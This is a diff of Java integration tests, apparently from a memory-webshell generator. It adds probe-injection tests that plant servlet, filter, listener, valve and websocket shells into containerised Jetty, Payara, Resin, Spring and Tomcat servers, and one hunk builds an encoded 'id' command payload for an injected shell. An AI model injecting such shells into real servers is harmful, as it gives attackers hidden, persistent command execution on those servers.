import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,14 @@ public class Jetty61ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "6", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "6", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,14 @@ public class Jetty75ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty,"7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -72,4 +74,14 @@ public class Jetty76ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,14 @@ public class Jetty81ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -75,4 +77,15 @@ public class Jetty92ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,15 @@ public class Jetty93ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.jetty;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,15 @@ public class Jetty94ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Jetty, "7+", shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.HANDLER,
ShellType.CUSTOMIZER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,13 @@ public class Payara5201ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -73,4 +75,13 @@ public class Payara520225ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.payara;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -22,9 +24,7 @@ import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
@@ -46,7 +46,7 @@ public class Payara620222ContainerTest {
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
@@ -66,7 +66,7 @@ public class Payara620222ContainerTest {
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@@ -74,4 +74,13 @@ public class Payara620222ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -74,4 +76,12 @@ public class Resin3116ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -71,4 +73,12 @@ public class Resin318ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -71,4 +73,12 @@ public class Resin4058ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.resin;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -71,4 +73,12 @@ public class Resin4067ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER,
ShellType.LISTENER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Resin, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -79,4 +81,12 @@ public class SpringBoot1ContainerTest {
log.info("container started, app url is : {}", url);
return url;
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -101,4 +103,12 @@ public class SpringBoot2ContainerTest {
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V1_8);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -100,4 +102,13 @@ public class SpringBoot3ContainerTest {
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.SpringWebMvc, shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -53,6 +55,7 @@ public class Tomcat10ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
@@ -76,4 +79,16 @@ public class Tomcat10ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V11);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -54,6 +56,7 @@ public class Tomcat11ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
@@ -77,4 +80,16 @@ public class Tomcat11ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V17);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
@@ -11,6 +12,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -55,6 +57,7 @@ public class Tomcat11JRE21ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
@@ -78,4 +81,16 @@ public class Tomcat11JRE21ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
ShellType.JAKARTA_SERVLET,
ShellType.JAKARTA_LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_PROXY_VALVE,
ShellType.JAKARTA_WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V21);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -53,6 +55,7 @@ public class Tomcat5ContainerTest {
static Stream<Arguments> casesProvider() {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET,
ShellType.FILTER,
ShellType.LISTENER,
ShellType.VALVE,
@@ -76,4 +79,12 @@ public class Tomcat5ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER,
ShellType.VALVE, ShellType.PROXY_VALVE})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,6 +54,7 @@ public class Tomcat6ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
@@ -74,4 +77,12 @@ public class Tomcat6ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER,
ShellType.VALVE, ShellType.PROXY_VALVE})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6);
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
@@ -10,6 +11,7 @@ import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,6 +54,7 @@ public class Tomcat7ContainerTest {
String server = Server.Tomcat;
List<String> supportedShellTypes = List.of(
ShellType.FILTER,
ShellType.SERVLET,
ShellType.LISTENER,
ShellType.VALVE,
ShellType.PROXY_VALVE,
@@ -75,4 +78,12 @@ public class Tomcat7ContainerTest {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python);
}
@ParameterizedTest
@ValueSource(strings = {ShellType.FILTER, ShellType.SERVLET, ShellType.LISTENER,
ShellType.VALVE, ShellType.PROXY_VALVE, ShellType.WEBSOCKET})
void testProbeInject(String shellType) {
String url = getUrl(container);
ShellAssertion.testProbeInject(url, Server.Tomcat, shellType, Opcodes.V1_6);
}
}
@@ -83,10 +83,6 @@ public class Tomcat8CommandEncryptorContainerTest {
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container);
String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes()));
if (shellType.endsWith(ShellType.WEBSOCKET)) {
